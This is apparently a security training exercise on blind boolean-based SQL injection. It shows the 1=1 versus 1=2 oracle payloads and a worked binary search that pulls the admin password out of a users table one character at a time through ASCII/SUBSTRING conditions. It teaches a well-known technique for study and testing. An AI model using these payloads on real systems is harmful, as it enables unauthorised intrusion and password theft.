EXERCISE 1 — Establishing a boolean oracle and binary-searching a character
============================================================================

ESTABLISHING THE BOOLEAN ORACLE (the true/false tell):
  - The page shows no data, but its BEHAVIOUR may differ between a true and a
    false condition. Inject a known-true and a known-false condition and diff
    the two responses:
        ' AND 1=1--     (always TRUE)
        ' AND 1=2--     (always FALSE)
  - Compare the responses for ANY reliable difference: page text ("Welcome"
    vs "Invalid"), response length, presence/absence of a result block, HTTP
    status (200 vs 500), a redirect, etc.
  - Once you find a stable difference, you have an ORACLE: "TRUE looks like X,
    FALSE looks like Y." Now any condition you inject can be read as 1 bit by
    checking which variant comes back. (Always re-confirm with 1=1/1=2 before
    trusting it.)

BINARY SEARCH FOR THE FIRST CHARACTER OF A SECRET:
  Target the 1st char of the admin password via its ASCII code, halving the
  range each request:
    ' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) > 64 --
       -> TRUE-page  => code is in 65..127
    ... > 96 ?   TRUE  => 97..127
    ... > 112 ?  FALSE => 97..112
    ... > 104 ?  TRUE  => 105..112
    ... > 108 ?  TRUE  => 109..112
    ... > 110 ?  FALSE => 109..110
    ... = 109 ?  TRUE  => the character code is 109 = 'm'
  Each request compares the unknown code against a midpoint and the
  TRUE/FALSE answer tells you which HALF it's in. After ~7 comparisons the
  range collapses to a single value.

WHY ~7 REQUESTS, NOT ~95:
  - A LINEAR search ("is it 'a'? is it 'b'? ...") tests one candidate per
    request, so in the worst case it needs as many requests as there are
    candidate characters — ~95 for printable ASCII.
  - A BINARY search halves the candidate range each request. To distinguish
    among N values you need about log2(N) requests:
        log2(128) = 7,  log2(95) ≈ 6.6  -> ~7 requests.
  - Each yes/no answer carries 1 bit of information, and ~7 bits identify one
    of ~128 values. So binary search is exponentially more efficient: ~7
    requests per character instead of up to ~95.
  - Practical workflow: first extract the LENGTH
    (' AND LENGTH((SELECT password...))=N -- via binary search too) so you
    know how many characters to recover, then loop positions 1..N, ~7 requests
    each. (Tools parallelise/optimise further.)

ONE-LINE TAKEAWAY:
  Confirm a stable TRUE-vs-FALSE difference (1=1 vs 1=2) to get a 1-bit oracle,
  then binary-search each character's ASCII value — ~7 requests/char because
  each answer halves the range.